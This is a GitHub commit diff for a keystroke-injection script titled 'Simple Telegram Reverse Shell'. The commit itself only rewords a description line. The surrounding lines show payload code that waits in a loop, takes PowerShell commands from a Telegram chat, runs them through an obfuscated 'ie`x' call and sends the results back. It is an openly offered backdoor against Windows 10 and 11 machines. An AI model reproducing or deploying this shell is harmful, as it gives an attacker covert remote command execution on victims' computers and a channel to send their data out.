Update Telegram Reverse Shell.txt

This commit is contained in:
beigeworm
2023-07-05 23:46:28 +00:00
committed by GitHub
parent 711e9e6d17
commit e491408169

View File

@@ -1,6 +1,7 @@
REM Title: Simple Telegram Reverse Shell
REM Author: @beigeworm
REM Description: This script connects target computer with a telegram chat to send powershell commands.
REM Description: A script that connects target computer with a telegram chat to send powershell commands.
REM The script will wait in a loop until you interact with it later on via telegram.
REM Target: Windows 10,11
REM SETUP INSTRUCTIONS
@@ -54,4 +55,4 @@ STRING ;Sleep 3;While ($true){sleep 2;$messages=rtgmsg;if($LastUmsg -like $null)
STRING ;if(($CheckAuthentication -ne 0) -and ($messages.message.text -notlike $PassPhrase) -and ($messages.message.date -ne $LastmsgID)){try{$Result=ie`x($messages.message.text) -ErrorAction Stop;$Result
STRING ;stgmsg -Messagetext $Result -ChatID $messages.message.chat.id}catch{stgmsg -Messagetext ($_.exception.message) -ChatID $messages.message.chat.id}Finally{$LastmsgID=$messages.message.date}}}};sleep 5;exit
ENTER
ENTER